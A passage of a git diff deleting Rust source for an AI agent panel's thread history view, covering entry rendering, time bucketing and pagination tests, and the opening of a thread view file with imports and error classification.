-                                                .color(Color::Muted),
-                                        ),
-                                )
-                                .child(
-                                    h_flex()
-                                        .gap_1()
-                                        .child(
-                                            Button::new("cancel_delete", "Cancel")
-                                                .label_size(LabelSize::Small)
-                                                .on_click(cx.listener(|this, _, window, cx| {
-                                                    this.cancel_delete_history(window, cx);
-                                                })),
-                                        )
-                                        .child(
-                                            Button::new("confirm_delete", "Delete")
-                                                .style(ButtonStyle::Tinted(ui::TintColor::Error))
-                                                .color(Color::Error)
-                                                .label_size(LabelSize::Small)
-                                                .on_click(cx.listener(|_, _, window, cx| {
-                                                    window.dispatch_action(
-                                                        Box::new(RemoveHistory),
-                                                        cx,
-                                                    );
-                                                })),
-                                        ),
-                                )
-                        }),
-                )
-            })
-    }
-}
-
-#[derive(IntoElement)]
-pub struct AcpHistoryEntryElement {
-    entry: AgentSessionInfo,
-    thread_view: WeakEntity<AcpServerView>,
-    selected: bool,
-    hovered: bool,
-    supports_delete: bool,
-    on_hover: Box<dyn Fn(&bool, &mut Window, &mut App) + 'static>,
-}
-
-impl AcpHistoryEntryElement {
-    pub fn new(entry: AgentSessionInfo, thread_view: WeakEntity<AcpServerView>) -> Self {
-        Self {
-            entry,
-            thread_view,
-            selected: false,
-            hovered: false,
-            supports_delete: false,
-            on_hover: Box::new(|_, _, _| {}),
-        }
-    }
-
-    pub fn supports_delete(mut self, supports_delete: bool) -> Self {
-        self.supports_delete = supports_delete;
-        self
-    }
-
-    pub fn hovered(mut self, hovered: bool) -> Self {
-        self.hovered = hovered;
-        self
-    }
-
-    pub fn on_hover(mut self, on_hover: impl Fn(&bool, &mut Window, &mut App) + 'static) -> Self {
-        self.on_hover = Box::new(on_hover);
-        self
-    }
-}
-
-impl RenderOnce for AcpHistoryEntryElement {
-    fn render(self, _window: &mut Window, _cx: &mut App) -> impl IntoElement {
-        let id = ElementId::Name(self.entry.session_id.0.clone().into());
-        let title = thread_title(&self.entry).clone();
-        let formatted_time = self
-            .entry
-            .updated_at
-            .map(|timestamp| {
-                let now = chrono::Utc::now();
-                let duration = now.signed_duration_since(timestamp);
-
-                if duration.num_days() > 0 {
-                    format!("{}d", duration.num_days())
-                } else if duration.num_hours() > 0 {
-                    format!("{}h ago", duration.num_hours())
-                } else if duration.num_minutes() > 0 {
-                    format!("{}m ago", duration.num_minutes())
-                } else {
-                    "Just now".to_string()
-                }
-            })
-            .unwrap_or_else(|| "Unknown".to_string());
-
-        ListItem::new(id)
-            .rounded()
-            .toggle_state(self.selected)
-            .spacing(ListItemSpacing::Sparse)
-            .start_slot(
-                h_flex()
-                    .w_full()
-                    .gap_2()
-                    .justify_between()
-                    .child(Label::new(title).size(LabelSize::Small).truncate())
-                    .child(
-                        Label::new(formatted_time)
-                            .color(Color::Muted)
-                            .size(LabelSize::XSmall),
-                    ),
-            )
-            .on_hover(self.on_hover)
-            .end_slot::<IconButton>(if (self.hovered || self.selected) && self.supports_delete {
-                Some(
-                    IconButton::new("delete", IconName::Trash)
-                        .shape(IconButtonShape::Square)
-                        .icon_size(IconSize::XSmall)
-                        .icon_color(Color::Muted)
-                        .tooltip(move |_window, cx| {
-                            Tooltip::for_action("Delete", &RemoveSelectedThread, cx)
-                        })
-                        .on_click({
-                            let thread_view = self.thread_view.clone();
-                            let entry = self.entry.clone();
-
-                            move |_event, _window, cx| {
-                                if let Some(thread_view) = thread_view.upgrade() {
-                                    thread_view.update(cx, |thread_view, cx| {
-                                        thread_view.delete_history_entry(entry.clone(), cx);
-                                    });
-                                }
-                            }
-                        }),
-                )
-            } else {
-                None
-            })
-            .on_click({
-                let thread_view = self.thread_view.clone();
-                let entry = self.entry;
-
-                move |_event, window, cx| {
-                    if let Some(workspace) = thread_view
-                        .upgrade()
-                        .and_then(|view| view.read(cx).workspace().upgrade())
-                    {
-                        if let Some(panel) = workspace.read(cx).panel::<AgentPanel>(cx) {
-                            panel.update(cx, |panel, cx| {
-                                panel.load_agent_thread(entry.clone(), window, cx);
-                            });
-                        }
-                    }
-                }
-            })
-    }
-}
-
-#[derive(Clone, Copy)]
-pub enum EntryTimeFormat {
-    DateAndTime,
-    TimeOnly,
-}
-
-impl EntryTimeFormat {
-    fn format_timestamp(&self, timestamp: i64, timezone: UtcOffset) -> String {
-        let timestamp = OffsetDateTime::from_unix_timestamp(timestamp).unwrap();
-
-        match self {
-            EntryTimeFormat::DateAndTime => time_format::format_localized_timestamp(
-                timestamp,
-                OffsetDateTime::now_utc(),
-                timezone,
-                time_format::TimestampFormat::EnhancedAbsolute,
-            ),
-            EntryTimeFormat::TimeOnly => time_format::format_time(timestamp.to_offset(timezone)),
-        }
-    }
-}
-
-impl From<TimeBucket> for EntryTimeFormat {
-    fn from(bucket: TimeBucket) -> Self {
-        match bucket {
-            TimeBucket::Today => EntryTimeFormat::TimeOnly,
-            TimeBucket::Yesterday => EntryTimeFormat::TimeOnly,
-            TimeBucket::ThisWeek => EntryTimeFormat::DateAndTime,
-            TimeBucket::PastWeek => EntryTimeFormat::DateAndTime,
-            TimeBucket::All => EntryTimeFormat::DateAndTime,
-        }
-    }
-}
-
-#[derive(PartialEq, Eq, Clone, Copy, Debug)]
-enum TimeBucket {
-    Today,
-    Yesterday,
-    ThisWeek,
-    PastWeek,
-    All,
-}
-
-impl TimeBucket {
-    fn from_dates(reference: NaiveDate, date: NaiveDate) -> Self {
-        if date == reference {
-            return TimeBucket::Today;
-        }
-
-        if date == reference - TimeDelta::days(1) {
-            return TimeBucket::Yesterday;
-        }
-
-        let week = date.iso_week();
-
-        if reference.iso_week() == week {
-            return TimeBucket::ThisWeek;
-        }
-
-        let last_week = (reference - TimeDelta::days(7)).iso_week();
-
-        if week == last_week {
-            return TimeBucket::PastWeek;
-        }
-
-        TimeBucket::All
-    }
-}
-
-impl Display for TimeBucket {
-    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
-        match self {
-            TimeBucket::Today => write!(f, "Today"),
-            TimeBucket::Yesterday => write!(f, "Yesterday"),
-            TimeBucket::ThisWeek => write!(f, "This Week"),
-            TimeBucket::PastWeek => write!(f, "Past Week"),
-            TimeBucket::All => write!(f, "All"),
-        }
-    }
-}
-
-#[cfg(test)]
-mod tests {
-    use super::*;
-    use acp_thread::AgentSessionListResponse;
-    use chrono::NaiveDate;
-    use gpui::TestAppContext;
-    use std::{
-        any::Any,
-        sync::{Arc, Mutex},
-    };
-
-    fn init_test(cx: &mut TestAppContext) {
-        cx.update(|cx| {
-            let settings_store = settings::SettingsStore::test(cx);
-            cx.set_global(settings_store);
-            theme::init(theme::LoadThemes::JustBase, cx);
-        });
-    }
-
-    #[derive(Clone)]
-    struct TestSessionList {
-        sessions: Vec<AgentSessionInfo>,
-        updates_tx: smol::channel::Sender<SessionListUpdate>,
-        updates_rx: smol::channel::Receiver<SessionListUpdate>,
-    }
-
-    impl TestSessionList {
-        fn new(sessions: Vec<AgentSessionInfo>) -> Self {
-            let (tx, rx) = smol::channel::unbounded();
-            Self {
-                sessions,
-                updates_tx: tx,
-                updates_rx: rx,
-            }
-        }
-
-        fn send_update(&self, update: SessionListUpdate) {
-            self.updates_tx.try_send(update).ok();
-        }
-    }
-
-    impl AgentSessionList for TestSessionList {
-        fn list_sessions(
-            &self,
-            _request: AgentSessionListRequest,
-            _cx: &mut App,
-        ) -> Task<anyhow::Result<AgentSessionListResponse>> {
-            Task::ready(Ok(AgentSessionListResponse::new(self.sessions.clone())))
-        }
-
-        fn watch(&self, _cx: &mut App) -> Option<smol::channel::Receiver<SessionListUpdate>> {
-            Some(self.updates_rx.clone())
-        }
-
-        fn notify_refresh(&self) {
-            self.send_update(SessionListUpdate::Refresh);
-        }
-
-        fn into_any(self: Rc<Self>) -> Rc<dyn Any> {
-            self
-        }
-    }
-
-    #[derive(Clone)]
-    struct PaginatedTestSessionList {
-        first_page_sessions: Vec<AgentSessionInfo>,
-        second_page_sessions: Vec<AgentSessionInfo>,
-        requested_cursors: Arc<Mutex<Vec<Option<String>>>>,
-        async_responses: bool,
-        updates_tx: smol::channel::Sender<SessionListUpdate>,
-        updates_rx: smol::channel::Receiver<SessionListUpdate>,
-    }
-
-    impl PaginatedTestSessionList {
-        fn new(
-            first_page_sessions: Vec<AgentSessionInfo>,
-            second_page_sessions: Vec<AgentSessionInfo>,
-        ) -> Self {
-            let (tx, rx) = smol::channel::unbounded();
-            Self {
-                first_page_sessions,
-                second_page_sessions,
-                requested_cursors: Arc::new(Mutex::new(Vec::new())),
-                async_responses: false,
-                updates_tx: tx,
-                updates_rx: rx,
-            }
-        }
-
-        fn with_async_responses(mut self) -> Self {
-            self.async_responses = true;
-            self
-        }
-
-        fn requested_cursors(&self) -> Vec<Option<String>> {
-            self.requested_cursors.lock().unwrap().clone()
-        }
-
-        fn clear_requested_cursors(&self) {
-            self.requested_cursors.lock().unwrap().clear()
-        }
-
-        fn send_update(&self, update: SessionListUpdate) {
-            self.updates_tx.try_send(update).ok();
-        }
-    }
-
-    impl AgentSessionList for PaginatedTestSessionList {
-        fn list_sessions(
-            &self,
-            request: AgentSessionListRequest,
-            cx: &mut App,
-        ) -> Task<anyhow::Result<AgentSessionListResponse>> {
-            let requested_cursors = self.requested_cursors.clone();
-            let first_page_sessions = self.first_page_sessions.clone();
-            let second_page_sessions = self.second_page_sessions.clone();
-
-            let respond = move || {
-                requested_cursors
-                    .lock()
-                    .unwrap()
-                    .push(request.cursor.clone());
-
-                match request.cursor.as_deref() {
-                    None => AgentSessionListResponse {
-                        sessions: first_page_sessions,
-                        next_cursor: Some("page-2".to_string()),
-                        meta: None,
-                    },
-                    Some("page-2") => AgentSessionListResponse::new(second_page_sessions),
-                    _ => AgentSessionListResponse::new(Vec::new()),
-                }
-            };
-
-            if self.async_responses {
-                cx.foreground_executor().spawn(async move {
-                    smol::future::yield_now().await;
-                    Ok(respond())
-                })
-            } else {
-                Task::ready(Ok(respond()))
-            }
-        }
-
-        fn watch(&self, _cx: &mut App) -> Option<smol::channel::Receiver<SessionListUpdate>> {
-            Some(self.updates_rx.clone())
-        }
-
-        fn notify_refresh(&self) {
-            self.send_update(SessionListUpdate::Refresh);
-        }
-
-        fn into_any(self: Rc<Self>) -> Rc<dyn Any> {
-            self
-        }
-    }
-
-    fn test_session(session_id: &str, title: &str) -> AgentSessionInfo {
-        AgentSessionInfo {
-            session_id: acp::SessionId::new(session_id),
-            cwd: None,
-            title: Some(title.to_string().into()),
-            updated_at: None,
-            meta: None,
-        }
-    }
-
-    #[gpui::test]
-    async fn test_refresh_only_loads_first_page_by_default(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let session_list = Rc::new(PaginatedTestSessionList::new(
-            vec![test_session("session-1", "First")],
-            vec![test_session("session-2", "Second")],
-        ));
-
-        let (history, cx) = cx.add_window_view(|window, cx| {
-            AcpThreadHistory::new(Some(session_list.clone()), window, cx)
-        });
-        cx.run_until_parked();
-
-        history.update(cx, |history, _cx| {
-            assert_eq!(history.sessions.len(), 1);
-            assert_eq!(
-                history.sessions[0].session_id,
-                acp::SessionId::new("session-1")
-            );
-        });
-        assert_eq!(session_list.requested_cursors(), vec![None]);
-    }
-
-    #[gpui::test]
-    async fn test_enabling_full_pagination_loads_all_pages(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let session_list = Rc::new(PaginatedTestSessionList::new(
-            vec![test_session("session-1", "First")],
-            vec![test_session("session-2", "Second")],
-        ));
-
-        let (history, cx) = cx.add_window_view(|window, cx| {
-            AcpThreadHistory::new(Some(session_list.clone()), window, cx)
-        });
-        cx.run_until_parked();
-        session_list.clear_requested_cursors();
-
-        history.update(cx, |history, cx| history.refresh_full_history(cx));
-        cx.run_until_parked();
-
-        history.update(cx, |history, _cx| {
-            assert_eq!(history.sessions.len(), 2);
-            assert_eq!(
-                history.sessions[0].session_id,
-                acp::SessionId::new("session-1")
-            );
-            assert_eq!(
-                history.sessions[1].session_id,
-                acp::SessionId::new("session-2")
-            );
-        });
-        assert_eq!(
-            session_list.requested_cursors(),
-            vec![None, Some("page-2".to_string())]
-        );
-    }
-
-    #[gpui::test]
-    async fn test_standard_refresh_replaces_with_first_page_after_full_history_refresh(
-        cx: &mut TestAppContext,
-    ) {
-        init_test(cx);
-
-        let session_list = Rc::new(PaginatedTestSessionList::new(
-            vec![test_session("session-1", "First")],
-            vec![test_session("session-2", "Second")],
-        ));
-
-        let (history, cx) = cx.add_window_view(|window, cx| {
-            AcpThreadHistory::new(Some(session_list.clone()), window, cx)
-        });
-        cx.run_until_parked();
-
-        history.update(cx, |history, cx| history.refresh_full_history(cx));
-        cx.run_until_parked();
-        session_list.clear_requested_cursors();
-
-        history.update(cx, |history, cx| {
-            history.refresh(cx);
-        });
-        cx.run_until_parked();
-
-        history.update(cx, |history, _cx| {
-            assert_eq!(history.sessions.len(), 1);
-            assert_eq!(
-                history.sessions[0].session_id,
-                acp::SessionId::new("session-1")
-            );
-        });
-        assert_eq!(session_list.requested_cursors(), vec![None]);
-    }
-
-    #[gpui::test]
-    async fn test_re_entering_full_pagination_reloads_all_pages(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let session_list = Rc::new(PaginatedTestSessionList::new(
-            vec![test_session("session-1", "First")],
-            vec![test_session("session-2", "Second")],
-        ));
-
-        let (history, cx) = cx.add_window_view(|window, cx| {
-            AcpThreadHistory::new(Some(session_list.clone()), window, cx)
-        });
-        cx.run_until_parked();
-
-        history.update(cx, |history, cx| history.refresh_full_history(cx));
-        cx.run_until_parked();
-        session_list.clear_requested_cursors();
-
-        history.update(cx, |history, cx| history.refresh_full_history(cx));
-        cx.run_until_parked();
-
-        history.update(cx, |history, _cx| {
-            assert_eq!(history.sessions.len(), 2);
-        });
-        assert_eq!(
-            session_list.requested_cursors(),
-            vec![None, Some("page-2".to_string())]
-        );
-    }
-
-    #[gpui::test]
-    async fn test_partial_refresh_batch_drops_non_first_page_sessions(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let second_page_session_id = acp::SessionId::new("session-2");
-        let session_list = Rc::new(PaginatedTestSessionList::new(
-            vec![test_session("session-1", "First")],
-            vec![test_session("session-2", "Second")],
-        ));
-
-        let (history, cx) = cx.add_window_view(|window, cx| {
-            AcpThreadHistory::new(Some(session_list.clone()), window, cx)
-        });
-        cx.run_until_parked();
-
-        history.update(cx, |history, cx| history.refresh_full_history(cx));
-        cx.run_until_parked();
-
-        session_list.clear_requested_cursors();
-
-        session_list.send_update(SessionListUpdate::SessionInfo {
-            session_id: second_page_session_id.clone(),
-            update: acp::SessionInfoUpdate::new().title("Updated Second"),
-        });
-        session_list.send_update(SessionListUpdate::Refresh);
-        cx.run_until_parked();
-
-        history.update(cx, |history, _cx| {
-            assert_eq!(history.sessions.len(), 1);
-            assert_eq!(
-                history.sessions[0].session_id,
-                acp::SessionId::new("session-1")
-            );
-            assert!(
-                history
-                    .sessions
-                    .iter()
-                    .all(|session| session.session_id != second_page_session_id)
-            );
-        });
-        assert_eq!(session_list.requested_cursors(), vec![None]);
-    }
-
-    #[gpui::test]
-    async fn test_full_pagination_works_with_async_page_fetches(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let session_list = Rc::new(
-            PaginatedTestSessionList::new(
-                vec![test_session("session-1", "First")],
-                vec![test_session("session-2", "Second")],
-            )
-            .with_async_responses(),
-        );
-
-        let (history, cx) = cx.add_window_view(|window, cx| {
-            AcpThreadHistory::new(Some(session_list.clone()), window, cx)
-        });
-        cx.run_until_parked();
-        session_list.clear_requested_cursors();
-
-        history.update(cx, |history, cx| history.refresh_full_history(cx));
-        cx.run_until_parked();
-
-        history.update(cx, |history, _cx| {
-            assert_eq!(history.sessions.len(), 2);
-        });
-        assert_eq!(
-            session_list.requested_cursors(),
-            vec![None, Some("page-2".to_string())]
-        );
-    }
-
-    #[gpui::test]
-    async fn test_apply_info_update_title(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let session_id = acp::SessionId::new("test-session");
-        let sessions = vec![AgentSessionInfo {
-            session_id: session_id.clone(),
-            cwd: None,
-            title: Some("Original Title".into()),
-            updated_at: None,
-            meta: None,
-        }];
-        let session_list = Rc::new(TestSessionList::new(sessions));
-
-        let (history, cx) = cx.add_window_view(|window, cx| {
-            AcpThreadHistory::new(Some(session_list.clone()), window, cx)
-        });
-        cx.run_until_parked();
-
-        // Send a title update
-        session_list.send_update(SessionListUpdate::SessionInfo {
-            session_id: session_id.clone(),
-            update: acp::SessionInfoUpdate::new().title("New Title"),
-        });
-        cx.run_until_parked();
-
-        // Check that the title was updated
-        history.update(cx, |history, _cx| {
-            let session = history.sessions.iter().find(|s| s.session_id == session_id);
-            assert_eq!(
-                session.unwrap().title.as_ref().map(|s| s.as_ref()),
-                Some("New Title")
-            );
-        });
-    }
-
-    #[gpui::test]
-    async fn test_apply_info_update_clears_title_with_null(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let session_id = acp::SessionId::new("test-session");
-        let sessions = vec![AgentSessionInfo {
-            session_id: session_id.clone(),
-            cwd: None,
-            title: Some("Original Title".into()),
-            updated_at: None,
-            meta: None,
-        }];
-        let session_list = Rc::new(TestSessionList::new(sessions));
-
-        let (history, cx) = cx.add_window_view(|window, cx| {
-            AcpThreadHistory::new(Some(session_list.clone()), window, cx)
-        });
-        cx.run_until_parked();
-
-        // Send an update that clears the title (null)
-        session_list.send_update(SessionListUpdate::SessionInfo {
-            session_id: session_id.clone(),
-            update: acp::SessionInfoUpdate::new().title(None::<String>),
-        });
-        cx.run_until_parked();
-
-        // Check that the title was cleared
-        history.update(cx, |history, _cx| {
-            let session = history.sessions.iter().find(|s| s.session_id == session_id);
-            assert_eq!(session.unwrap().title, None);
-        });
-    }
-
-    #[gpui::test]
-    async fn test_apply_info_update_ignores_undefined_fields(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let session_id = acp::SessionId::new("test-session");
-        let sessions = vec![AgentSessionInfo {
-            session_id: session_id.clone(),
-            cwd: None,
-            title: Some("Original Title".into()),
-            updated_at: None,
-            meta: None,
-        }];
-        let session_list = Rc::new(TestSessionList::new(sessions));
-
-        let (history, cx) = cx.add_window_view(|window, cx| {
-            AcpThreadHistory::new(Some(session_list.clone()), window, cx)
-        });
-        cx.run_until_parked();
-
-        // Send an update with no fields set (all undefined)
-        session_list.send_update(SessionListUpdate::SessionInfo {
-            session_id: session_id.clone(),
-            update: acp::SessionInfoUpdate::new(),
-        });
-        cx.run_until_parked();
-
-        // Check that the title is unchanged
-        history.update(cx, |history, _cx| {
-            let session = history.sessions.iter().find(|s| s.session_id == session_id);
-            assert_eq!(
-                session.unwrap().title.as_ref().map(|s| s.as_ref()),
-                Some("Original Title")
-            );
-        });
-    }
-
-    #[gpui::test]
-    async fn test_multiple_info_updates_applied_in_order(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let session_id = acp::SessionId::new("test-session");
-        let sessions = vec![AgentSessionInfo {
-            session_id: session_id.clone(),
-            cwd: None,
-            title: None,
-            updated_at: None,
-            meta: None,
-        }];
-        let session_list = Rc::new(TestSessionList::new(sessions));
-
-        let (history, cx) = cx.add_window_view(|window, cx| {
-            AcpThreadHistory::new(Some(session_list.clone()), window, cx)
-        });
-        cx.run_until_parked();
-
-        // Send multiple updates before the executor runs
-        session_list.send_update(SessionListUpdate::SessionInfo {
-            session_id: session_id.clone(),
-            update: acp::SessionInfoUpdate::new().title("First Title"),
-        });
-        session_list.send_update(SessionListUpdate::SessionInfo {
-            session_id: session_id.clone(),
-            update: acp::SessionInfoUpdate::new().title("Second Title"),
-        });
-        cx.run_until_parked();
-
-        // Check that the final title is "Second Title" (both applied in order)
-        history.update(cx, |history, _cx| {
-            let session = history.sessions.iter().find(|s| s.session_id == session_id);
-            assert_eq!(
-                session.unwrap().title.as_ref().map(|s| s.as_ref()),
-                Some("Second Title")
-            );
-        });
-    }
-
-    #[gpui::test]
-    async fn test_refresh_supersedes_info_updates(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let session_id = acp::SessionId::new("test-session");
-        let sessions = vec![AgentSessionInfo {
-            session_id: session_id.clone(),
-            cwd: None,
-            title: Some("Server Title".into()),
-            updated_at: None,
-            meta: None,
-        }];
-        let session_list = Rc::new(TestSessionList::new(sessions));
-
-        let (history, cx) = cx.add_window_view(|window, cx| {
-            AcpThreadHistory::new(Some(session_list.clone()), window, cx)
-        });
-        cx.run_until_parked();
-
-        // Send an info update followed by a refresh
-        session_list.send_update(SessionListUpdate::SessionInfo {
-            session_id: session_id.clone(),
-            update: acp::SessionInfoUpdate::new().title("Local Update"),
-        });
-        session_list.send_update(SessionListUpdate::Refresh);
-        cx.run_until_parked();
-
-        // The refresh should have fetched from server, getting "Server Title"
-        history.update(cx, |history, _cx| {
-            let session = history.sessions.iter().find(|s| s.session_id == session_id);
-            assert_eq!(
-                session.unwrap().title.as_ref().map(|s| s.as_ref()),
-                Some("Server Title")
-            );
-        });
-    }
-
-    #[gpui::test]
-    async fn test_info_update_for_unknown_session_is_ignored(cx: &mut TestAppContext) {
-        init_test(cx);
-
-        let session_id = acp::SessionId::new("known-session");
-        let sessions = vec![AgentSessionInfo {
-            session_id,
-            cwd: None,
-            title: Some("Original".into()),
-            updated_at: None,
-            meta: None,
-        }];
-        let session_list = Rc::new(TestSessionList::new(sessions));
-
-        let (history, cx) = cx.add_window_view(|window, cx| {
-            AcpThreadHistory::new(Some(session_list.clone()), window, cx)
-        });
-        cx.run_until_parked();
-
-        // Send an update for an unknown session
-        session_list.send_update(SessionListUpdate::SessionInfo {
-            session_id: acp::SessionId::new("unknown-session"),
-            update: acp::SessionInfoUpdate::new().title("Should Be Ignored"),
-        });
-        cx.run_until_parked();
-
-        // Check that the known session is unchanged and no crash occurred
-        history.update(cx, |history, _cx| {
-            assert_eq!(history.sessions.len(), 1);
-            assert_eq!(
-                history.sessions[0].title.as_ref().map(|s| s.as_ref()),
-                Some("Original")
-            );
-        });
-    }
-
-    #[test]
-    fn test_time_bucket_from_dates() {
-        let today = NaiveDate::from_ymd_opt(2023, 1, 15).unwrap();
-
-        let date = today;
-        assert_eq!(TimeBucket::from_dates(today, date), TimeBucket::Today);
-
-        let date = NaiveDate::from_ymd_opt(2023, 1, 14).unwrap();
-        assert_eq!(TimeBucket::from_dates(today, date), TimeBucket::Yesterday);
-
-        let date = NaiveDate::from_ymd_opt(2023, 1, 13).unwrap();
-        assert_eq!(TimeBucket::from_dates(today, date), TimeBucket::ThisWeek);
-
-        let date = NaiveDate::from_ymd_opt(2023, 1, 11).unwrap();
-        assert_eq!(TimeBucket::from_dates(today, date), TimeBucket::ThisWeek);
-
-        let date = NaiveDate::from_ymd_opt(2023, 1, 8).unwrap();
-        assert_eq!(TimeBucket::from_dates(today, date), TimeBucket::PastWeek);
-
-        let date = NaiveDate::from_ymd_opt(2023, 1, 5).unwrap();
-        assert_eq!(TimeBucket::from_dates(today, date), TimeBucket::PastWeek);
-
-        // All: not in this week or last week
-        let date = NaiveDate::from_ymd_opt(2023, 1, 1).unwrap();
-        assert_eq!(TimeBucket::from_dates(today, date), TimeBucket::All);
-
-        // Test year boundary cases
-        let new_year = NaiveDate::from_ymd_opt(2023, 1, 1).unwrap();
-
-        let date = NaiveDate::from_ymd_opt(2022, 12, 31).unwrap();
-        assert_eq!(
-            TimeBucket::from_dates(new_year, date),
-            TimeBucket::Yesterday
-        );
-
-        let date = NaiveDate::from_ymd_opt(2022, 12, 28).unwrap();
-        assert_eq!(TimeBucket::from_dates(new_year, date), TimeBucket::ThisWeek);
-    }
-}
diff --git a/crates/agent_ui/src/acp/thread_view.rs b/crates/agent_ui/src/acp/thread_view.rs
deleted file mode 100644
index e0146a17299488..00000000000000
--- a/crates/agent_ui/src/acp/thread_view.rs
+++ /dev/null
@@ -1,6640 +0,0 @@
-use acp_thread::{
-    AcpThread, AcpThreadEvent, AgentSessionInfo, AgentThreadEntry, AssistantMessage,
-    AssistantMessageChunk, AuthRequired, LoadError, MentionUri, PermissionOptionChoice,
-    PermissionOptions, RetryStatus, ThreadStatus, ToolCall, ToolCallContent, ToolCallStatus,
-    UserMessageId,
-};
-use acp_thread::{AgentConnection, Plan};
-#[cfg(feature = "external_websocket_sync")]
-use external_websocket_sync_dep as external_websocket_sync;
-use action_log::{ActionLog, ActionLogTelemetry};
-use agent::{NativeAgentServer, NativeAgentSessionList, SharedThread, ThreadStore};
-use agent_client_protocol::{self as acp, PromptCapabilities};
-use agent_servers::{AgentServer, AgentServerDelegate};
-use agent_settings::{AgentProfileId, AgentSettings};
-use anyhow::{Result, anyhow};
-use arrayvec::ArrayVec;
-use audio::{Audio, Sound};
-use buffer_diff::BufferDiff;
-use client::zed_urls;
-use collections::{HashMap, HashSet, IndexMap};
-use editor::scroll::Autoscroll;
-use editor::{
-    Editor, EditorEvent, EditorMode, MultiBuffer, PathKey, SelectionEffects, SizingBehavior,
-};
-use feature_flags::{AgentSharingFeatureFlag, AgentV2FeatureFlag, FeatureFlagAppExt as _};
-use file_icons::FileIcons;
-use fs::Fs;
-use futures::FutureExt as _;
-use gpui::{
-    Action, Animation, AnimationExt, AnyView, App, ClickEvent, ClipboardItem, CursorStyle,
-    ElementId, Empty, Entity, FocusHandle, Focusable, Hsla, ListOffset, ListState, ObjectFit,
-    PlatformDisplay, ScrollHandle, SharedString, Subscription, Task, TextStyle, WeakEntity, Window,
-    WindowHandle, div, ease_in_out, img, linear_color_stop, linear_gradient, list, point,
-    pulsating_between,
-};
-use language::Buffer;
-use language_model::LanguageModelRegistry;
-use markdown::{Markdown, MarkdownElement, MarkdownFont, MarkdownStyle};
-use project::{AgentServerStore, ExternalAgentServerName, Project, ProjectEntryId};
-use prompt_store::{PromptId, PromptStore};
-use rope::Point;
-use settings::{NotifyWhenAgentWaiting, Settings as _, SettingsStore};
-use std::cell::RefCell;
-use std::path::Path;
-use std::sync::Arc;
-use std::time::Instant;
-use std::{collections::BTreeMap, rc::Rc, time::Duration};
-use terminal_view::terminal_panel::TerminalPanel;
-use text::{Anchor, ToPoint as _};
-use theme::AgentFontSize;
-use ui::{
-    Callout, CircularProgress, CommonAnimationExt, ContextMenu, ContextMenuEntry, CopyButton,
-    DecoratedIcon, DiffStat, Disclosure, Divider, DividerColor, IconDecoration, IconDecorationKind,
-    KeyBinding, PopoverMenu, PopoverMenuHandle, SpinnerLabel, TintColor, Tooltip, WithScrollbar,
-    prelude::*, right_click_menu,
-};
-use util::{ResultExt, size::format_file_size, time::duration_alt_display};
-use util::{debug_panic, defer};
-use workspace::{
-    CollaboratorId, MultiWorkspace, NewTerminal, Toast, Workspace, notifications::NotificationId,
-};
-use zed_actions::agent::{Chat, ToggleModelSelector};
-use zed_actions::assistant::OpenRulesLibrary;
-
-use super::config_options::ConfigOptionsView;
-use super::entry_view_state::EntryViewState;
-use super::thread_history::AcpThreadHistory;
-use crate::acp::AcpModelSelectorPopover;
-use crate::acp::ModeSelector;
-use crate::acp::entry_view_state::{EntryViewEvent, ViewEvent};
-use crate::acp::message_editor::{MessageEditor, MessageEditorEvent};
-use crate::agent_diff::AgentDiff;
-use crate::profile_selector::{ProfileProvider, ProfileSelector};
-use crate::ui::{AgentNotification, AgentNotificationEvent};
-use crate::{
-    AgentDiffPane, AgentInitialContent, AgentPanel, AllowAlways, AllowOnce, AuthorizeToolCall,
-    ClearMessageQueue, CycleFavoriteModels, CycleModeSelector, CycleThinkingEffort,
-    EditFirstQueuedMessage, ExpandMessageEditor, Follow, KeepAll, NewThread, OpenAddContextMenu,
-    OpenAgentDiff, OpenHistory, RejectAll, RejectOnce, RemoveFirstQueuedMessage,
-    SelectPermissionGranularity, SendImmediately, SendNextQueuedMessage, ToggleProfileSelector,
-    ToggleThinkingEffortMenu, ToggleThinkingMode, UndoLastReject,
-};
-
-const STOPWATCH_THRESHOLD: Duration = Duration::from_secs(30);
-const TOKEN_THRESHOLD: u64 = 250;
-
-mod active_thread;
-pub use active_thread::*;
-
-pub struct QueuedMessage {
-    pub content: Vec<acp::ContentBlock>,
-    pub tracked_buffers: Vec<Entity<Buffer>>,
-}
-
-#[derive(Copy, Clone, Debug, PartialEq, Eq)]
-enum ThreadFeedback {
-    Positive,
-    Negative,
-}
-
-#[derive(Debug)]
-pub(crate) enum ThreadError {
-    PaymentRequired,
-    Refusal,
-    AuthenticationRequired(SharedString),
-    Other {
-        message: SharedString,
-        acp_error_code: Option<SharedString>,
-    },
-}
-
-impl ThreadError {
-    fn from_err(error: anyhow::Error, agent_name: &str) -> Self {
-        if error.is::<language_model::PaymentRequiredError>() {
-            Self::PaymentRequired
-        } else if let Some(acp_error) = error.downcast_ref::<acp::Error>()
-            && acp_error.code == acp::ErrorCode::AuthRequired
-        {
-            Self::AuthenticationRequired(acp_error.message.clone().into())
-        } else {
-            let message: SharedString = format!("{:#}", error).into();
-
-            // Extract ACP error code if available
-            let acp_error_code = error
-                .downcast_ref::<acp::Error>()
-                .map(|acp_error| SharedString::from(acp_error.code.to_string()));
-
-            // TODO: we should have Gemini return better errors here.
-            if agent_name == "Gemini CLI"
-                && message.contains("Could not load the default credentials")
-                || message.contains("API key not valid")
-                || message.contains("Request had invalid authentication credentials")
-            {
-                Self::AuthenticationRequired(message)
-            } else {
-                Self::Other {
-                    message,
-                    acp_error_code,
-                }
-            }
-        }
-    }
-}
-
-impl ProfileProvider for Entity<agent::Thread> {
-    fn profile_id(&self, cx: &App) -> AgentProfileId {
-        self.read(cx).profile().clone()
-    }
-
-    fn set_profile(&self, profile_id: AgentProfileId, cx: &mut App) {
-        self.update(cx, |thread, cx| {
-            // Apply the profile and let the thread swap to its default model.
-            thread.set_profile(profile_id, cx);
-        });
-    }
-
-    fn profiles_supported(&self, cx: &App) -> bool {
-        self.read(cx)
-            .model()
